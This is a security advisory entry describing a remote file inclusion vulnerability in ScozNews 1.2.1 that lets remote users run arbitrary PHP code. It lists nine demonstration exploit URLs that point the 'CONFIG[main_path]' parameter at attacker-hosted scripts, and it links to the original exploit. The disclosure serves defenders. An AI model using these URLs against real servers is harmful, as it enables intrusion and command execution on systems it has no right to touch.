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Category:   Application (Generic)  >   ScozNews Vendors:   scoznet.com
ScozNews Include File Flaw in 'CONFIG[main_path]' Parameter Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016491
SecurityTracker URL:  http://securitytracker.com/id/1016491
CVE Reference:   CVE-2006-2487   (Links to External Site)
Date:  Jul 13 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.2.1
Description:   A vulnerability was reported in ScozNews. A remote user can include and execute arbitrary code on the target system.

The software does not properly validate user-supplied input in the 'CONFIG[main_path]' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

Some demonstration exploit URLs are provided:

http://[target]/[news_path]/sources/functions.php?CONFIG[main_path]=[evil_scripts]

http://[target]/[news_path]/sources/template.php?CONFIG[main_path]=[evil_scripts]

http://[target]/[news_path]/sources/news.php?CONFIG[main_path]=[evil_scripts]

http://[target]/[news_path]/sources/help.php?CONFIG[main_path]=[evil_scripts]

http://[target]/[news_path]/sources/mail.php?CONFIG[main_path]=[evil_scripts]

http://[target]/[news_path]/sources/Admin/admin_cats.php?CONFIG[main_path]=[evil_scripts]

http://[target]/[news_path]/sources/Admin/admin_edit.php?CONFIG[main_path]=[evil_scripts]

http://[target]/[news_path]/sources/Admin/admin_import.php?CONFIG[main_path]=[evil_scripts]

http://[target]/[news_path]/sources/Admin/admin_templates.php?CONFIG[main_path]=[evil_scripts]

The original advisory is available at:

http://milw0rm.com/exploits/1800

Kacper (Rahim) reported this vulnerability.

This vulnerability was reported in May 2006.

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.scoznet.com/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


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